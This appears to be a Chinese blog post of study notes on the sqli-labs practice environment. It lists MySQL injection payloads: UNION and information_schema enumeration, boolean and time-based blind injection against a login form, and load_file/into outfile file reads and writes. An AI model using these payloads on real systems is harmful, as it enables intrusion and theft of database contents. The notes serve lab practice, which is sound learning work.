• sqli-labs


    获取字段数: order by x 取临界值

    获取数据库表面: database()

    获取数据库版本: version()

    Information_schema:mysql5.0及以上版本自带数据库,它记录有当前mysql下所有数据库名,表名,列名信息

    Information-schema.tables:记录表名信息的表

    Information-schema.columns:记录列名信息的表

    Table_schema 数据库名

    Table_name 表名

    Column_schema 列名

    数据库中.代表下一级的意思

    常见闭合方式: ' ') ')) " ") "))


    数据库用户:user()

    操作系统:@@version_compile_os

    Mysqi注入文件操作

    Load_file() 读取函数

    Into outfile 写入函数

    关于网站路径的获取:

    1.     报错显示
      
    2.     谷歌黑客
      
    3.     读取配置文件
      
    4.     漏洞报错
      
    5.     遗留文件
      
    6.     字典猜解
      

    注意问题:路径符号及编码


    Mysql注入问题

    魔术引号 magic_quotes_gpc 开关

    安全函数 addslashes

    编码绕过或宽字节注入


    Mysql高权限跨库注入

    跨库注入条件 root权限

       网站A无注入点,网站B存在masql注入,网站A及网站B数据库存在统一mysql数据库中,这是我们可以利用网站B的注入点进去跨库注入获取网站A的数据
    

    获取所有数据库名

    union select schema_name,2,3,4 from information_schema.schemata

    获取指定数据库下的表名信息

    获取指定表名下的列名

    获取指定数据


    提交方式注入

    POST登入框注入


    sqli-labs

    GET

    group_concat():全部输出

    concat_ws( , , )一次性指定分隔符

    left()函数: left(a,b)从左侧截取a的前b位,正确返回1,错误返回0

    regexp函数: regexp 'r' 匹配r,匹配成功返回1,反之为0

    用法:and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^u’ limit 0,1)–+

    like函数:与regexp相识, like 'r%' 要加百分号

    substr(a,b,c)函数: 从b位置开始,截取a字符串c位长度

    ascii()函数: 将某个字符串转化为ascii


    布尔盲注(没有确切返回值)

    1.burpsuite 爆破 and left((select database()),1)='s'--+

    2.ascii(substr(schema_database(),1,1))>111--+ (错误)

    3.ascii(substr(select schema_name from information_schema.schemata limit1,1),1,1))>11


    load_file(' ') 读取本地文件

    Into outfile 写文件

    用法: select 'mysql' into outfile 'test.txt';
    文件位置:D:phpstudy_proExtensionsMySQL5.7.26data 或者是
    select 'mysql' into outfile 'D:phpstudy_proExtensionsMySQL5.7.26 est.php ';


    基于时间的盲注

    IF(condition,A,B)如果条件condition为true,则执行命令A,否则执行B

    and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞

    and if(length(database())=8,1,sleep(5))--+ 判断数据库长度

    if(ascii(substr((select database()),1,1))>110,1,sleep(5))--+ 判断数据库名


    POST

    burpsuite

    注释符#

    --+仅在url中get传参是用

    判断数据库长度:

    uname=ain' or if(length(database()),1,sleep(5))#&passwd=admin&submit=Submit
    uname=ain' or length(database())=8#&passwd=admin&submit=Submit

    判断数据库名字:

    uname=ain' or left((select schema_name from information_schema.schemata limit 4,1),1)='s'#&passwd=admin&submit=Submit

    uname=ain' or ascii(substr((database()),1,1))='115'#&passwd=admin&submit=Submit

    判断表名

    uname=ain' or left((select table_name from information_schema.tables where schema_name="security" limit 0,1),1)='u'#&passwd=admin&submit=Submit

    uname=ain' or ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))= '101'#&passwd=admin&submit=Submit

    判断列名

    uname=ain' or left((select column_name from information_schema.columns where table_name="users" limit 0,1),1)='a'#&passwd=admin&submit=Submit

    判断字段内容:

    uname=ain' or ascii(substr((select username from users limit 0,1),1,1))= '68'#&passwd=admin&submit=Submit

    uname=ain' or left((select username from security.users limit 0,1),1)= 'a'#&passwd=admin&submit=Submit

  • 相关阅读:
    前端与后端的一些论述
    Pandas Cheat Sheet
    flask+socketio+echarts3 服务器监控程序(基于后端数据推送)
    【Java并发编程实战】-----“J.U.C”:ReentrantLock之一简介
    【Java并发编程实战】-----“J.U.C”:锁,lock
    【Java并发编程实战】-----synchronized
    【java并发编程实战】-----线程基本概念
    2015年读书系统
    阮一峰文集:《一个寻找作者的读者》
    进一步封装highchart,打造自己的图表插件:jHighChart.js
  • 原文地址:https://www.cnblogs.com/NPFS/p/12789285.html
Copyright © 2020-2023  润新知